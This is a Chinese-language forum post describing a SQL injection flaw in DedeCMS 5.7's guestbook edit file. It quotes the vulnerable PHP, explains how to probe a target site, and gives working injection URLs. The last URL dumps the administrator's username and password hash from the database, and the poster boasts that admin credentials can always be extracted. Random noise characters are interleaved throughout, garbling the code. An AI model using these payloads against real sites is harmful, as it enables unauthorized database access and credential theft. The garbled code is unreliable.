影响版本为5.7
$ N3 I( M( I# o' ?6 g, C, s& ]. |* [- X. [
漏洞文件edit.inc.php具体代码:
- U4 y1 W, y- v; l9 S* ?1 u" r; G# x/ G- B1 ?2 n
< ?php ' d" l/ {" }# I' ]4 y
/ @" s/ n2 K+ G, D, c$ B5 Z0 p
if(!defined('DEDEINC')) exit('Request Error!');
) e# F4 _) Q5 ]3 K6 B5 U7 b' K: a0 I
$ O' Z4 F$ Z5 V" e0 p
- _ S& F, }# l2 L( ^
9 s5 b" ~ ^) E6 Y2 t2 p( Xif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
, _: b; q% p8 Z1 h; {. K: T# y. V# G( X0 @& F1 X) g
else $GUEST_BOOK_POS = "guestbook.php";
& g( i& X- F) O y; a5 \: E5 N
) o2 e F2 t. S% v' {! @! @
0 y e( N# Y3 Y, X2 @# r* W" h# `0 |3 G6 |
$id = intval($id); 3 o+ D( L" W# v: y8 L/ v7 W
- j( V4 i- N7 O' ]: R: j
if(empty($job)) $job='view'; ) ~! V6 C; D3 h* X, w' r
1 q* |7 W1 r' y- D& w& x 1 |3 X6 q; m b" U. d4 b
" h f+ t9 _/ y/ B
if($job=='del' && $g_isadmin)
! ^: F: Z# [; D0 W) u1 ~% G7 ]; K$ \ @8 C
{ 9 B7 V# r6 I( A" S, U/ Q
' K" ]+ z1 V- B, z$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
; K' o3 g4 |8 J$ i+ |* v) I% ~1 A2 P" s n
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 0 j! N$ w5 x, ^( c. m* }
! e$ k9 `- `7 I# z' T1 `/ l
exit(); 4 D( G& e' U. ?( k' K
6 E( Y0 ^$ i8 s D2 r6 y- J
} - M1 M' d: W* v
4 f+ Z* H4 P% ]* {3 w2 A% I8 ?
else if($job=='check' && $g_isadmin) " o$ f% u. L" A7 b3 J, Y' c
) _' l q6 z& D) [7 Y{
: } J/ f( g: C# _1 W2 G, P
$ V% W0 G/ t$ g8 V& M* _$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
4 m7 I( \; T- {" r# m+ w. O, Z
3 w" N& r1 W1 d ^% |ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
' z; ?6 e4 T- L* o* D- \9 `8 g/ S! c6 q& P2 E5 ^) _
exit();
* y% w. i. j' @* [
* d" g' K! r9 C} 0 [$ g9 _, A6 o8 ?- G7 g
0 p+ o6 W, `) U2 p7 U
else if($job=='editok') $ t+ a/ v" v) m4 U/ K- {8 ?, O
$ J: c0 ^3 D/ G+ F) U{ 0 |% J# y: i. h* A* k; W: b$ S
% B9 }0 l. u, r5 R: k4 L
$remsg = trim($remsg); ' a7 \3 o( \* u! a) G3 L* `0 j
' k5 Z: o* `! Z* [+ }( Oif($remsg!='')
# n" H- J9 Q, B% s9 B
% w2 I$ L! Z+ k, v" Y) l# z{
! w$ D4 h ?+ Y8 I7 O6 {1 |0 J, r2 r, Z- Z& U
//管理员回复不过滤HTML By:Errorera blog:errs.cc
' D4 E% T% U+ t8 G9 o: a+ O, b9 Q% o2 X3 B+ t6 Y4 G, H" \
if($g_isadmin)
- T) u# E7 E, a) c. @& ?' c# ^( r4 U8 o# a! j4 p
{
" d; Q# E. p6 O: r& k* G# E8 O- i- N% I
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 7 P0 h+ `1 o9 D6 i
; D$ n9 O' `' J3 b2 x( G
//$remsg <br /><font color=red>管理员回复:</font> }
; A& b& r& |" t2 t9 y% W
3 d) A) s8 T& u- Kelse
2 ?3 `$ D: N, M
; d# D; h" w7 t{
' q$ I+ f2 H6 v/ s7 V. z# `- I3 Y- g4 X5 |, [6 x; T9 q( J, _
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
D6 \# t% ~5 W* T) \1 Z4 W1 x! e5 c9 B/ Z
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; G4 D5 R7 q! y3 A7 D0 }( D
9 S" ~+ z. {# T' e
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); t. [5 L6 Q/ ?7 \+ G" H5 @. q
; H, w* c3 b: e) r$msg = $oldmsg.$remsg;
: a4 g: z1 ~8 Q, Z
/ p1 a* W( R0 g}
4 T' {+ c) Z, M1 U: u
3 L9 h" i% V5 Q: i- Q} 5 E" H2 O5 P7 t
) K( |: \& n/ J7 N4 ] D//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc % }) d7 I1 N2 y) ~ N. L
4 p* g+ R( ~* A( E1 Q* [$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
7 e0 G' t" E& i9 `2 a8 ~' Z/ ?0 I q8 K$ k5 e
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); % ]3 j) w' J" V) K
Q7 g0 f3 ~, @2 Z9 Oexit();
. k' f2 C j/ H y
_9 m# w" k2 m3 Q}
+ r0 |3 ^$ ]& G$ u1 p& B2 V/ F- ^+ W! z+ ~1 I) X8 Q
//home:www.errs.cc + a* ^) |+ Q0 E3 {+ ~9 m+ {
/ U: |8 J3 T% D) L: R& U# n& d
if($g_isadmin) 5 @# [; J! `5 @
% j( P1 Q8 x& J{
* S. S# O4 O% v/ H6 K. F) ^5 O: _- @ {( ]
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); ! \! i K% t* B8 @$ a/ q" T
9 T6 Z! X A% R; z, U2 D* N
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
" o$ x8 h; N5 @( l
4 l W0 X! h A3 o}
1 K, T. [* B$ j7 o- f. F" v
5 @. t0 T' M/ n' I! @1 h, ?2 k# A nelse
9 L) h3 i5 ?% J* y6 J0 c0 @0 h( h0 ?
{
Q" o/ Z8 B( S6 @/ p4 U
) t1 W% h0 Z( q$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
9 d' m* R5 n' D9 Y6 x3 U9 Q/ \* {5 V# E- ]% h
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); + r) P# O5 {- l$ X B; u8 x
5 b, g: r6 h* X+ [8 D} 漏洞成功需要条件:0 u, m0 R# p: b. \: e# p, a; |
1. php magic_quotes_gpc=off
( g8 c4 X% K* Z! z2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。9 ]8 P1 e4 t! ^+ W, h) s# w
. Y0 ?4 f8 w: J, P- f怎么判断是否存在漏洞:* U+ r6 s6 M* ]- {: ~
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,: s1 o) O# m- G" a3 J( M8 F
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
?6 P7 p& ?) x- u' n访问: m; K! O% A3 F9 D# v$ g# k6 _
- m- H$ r% w4 a+ ]www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
: [! z6 v, B' J, b9 C* a4 Z! n1 q" u跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
+ T! P- R$ j2 h5 R6 S j" m( }! I' c- R. n$ y4 ~/ g. @
7 O: E' B |, q% t5 i! @! W7 n明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
5 P3 P3 Y; x' @( R/ f如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。# N; e a' ?+ h& U8 O3 T
那么再次访问
- p% V% }- J5 h5 l ?8 h0 Y+ q- H a, p3 q
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().9 c: y' W9 O6 O1 t. Q/ @
6 T# J; @; F* w$ E3 e: `% I* |
大概利用就是这样,大家有兴趣的多研究下!!5 R/ I, |, X& n7 e6 }- d/ X% U
6 {! m2 z$ \( T9 Z$ S7 p
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
1 z, S, Q; f' y4 E+ x+ a' Q
$ t& q6 A' i7 t2 T ]6 W- Nview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |